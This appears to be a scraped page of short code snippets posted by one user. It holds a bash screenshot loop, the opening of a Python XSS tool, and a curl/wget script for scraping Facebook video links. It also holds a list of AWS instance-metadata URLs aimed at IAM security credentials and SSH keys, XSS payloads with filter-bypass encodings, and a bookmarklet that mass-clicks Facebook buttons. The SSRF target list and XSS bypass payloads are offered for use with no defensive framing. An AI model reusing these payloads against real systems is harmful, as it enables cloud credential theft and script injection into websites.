betillogalvan

#Simple bash script to take screenshots
#!/bin/bash
file="/path/urls.txt"
while IFS= read line
do
   echo "$line"
   firefox -screenshot "$line".png "$line" &>/dev/null
done < "$file"

betillogalvan

#!/usr/bin/env python
#XS><ILL by B2G
#twitter.com/betillogalvan1
#Requiriments | pip install splinter
import os
import time
from splinter import Browser
#Banner
banner = """

betillogalvan

curl --head https://m.facebook.com/BadabunOficial/videos/2157975401113221/ |  grep location |  egrep -o "https?:\/\/[^\ ]*" | perl -pe 's/\%(\w\w)/chr hex $1/ge' >> down.txt
echo `cat down.txt` |  perl -pe 's/\%(\w\w)/chr hex $1/ge'
cat down.html |perl -pe 's/\%(\w\w)/chr hex $1/ge'| grep 'a'|sed -n 's/.*href="\(.*\)".*/\1/p' | egrep -o "https?:\/\/[^\ ]*" >> result.txt
wget -i result.txt

betillogalvan

## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

betillogalvan

<script>
alert('OPENBUGBOUNTY');
</script>

betillogalvan

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

betillogalvan

alert('HolaSoyBetilloGalvan');

betillogalvan

javascript:var inputs = document.getElementsByClassName('uiButton _1sm'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); }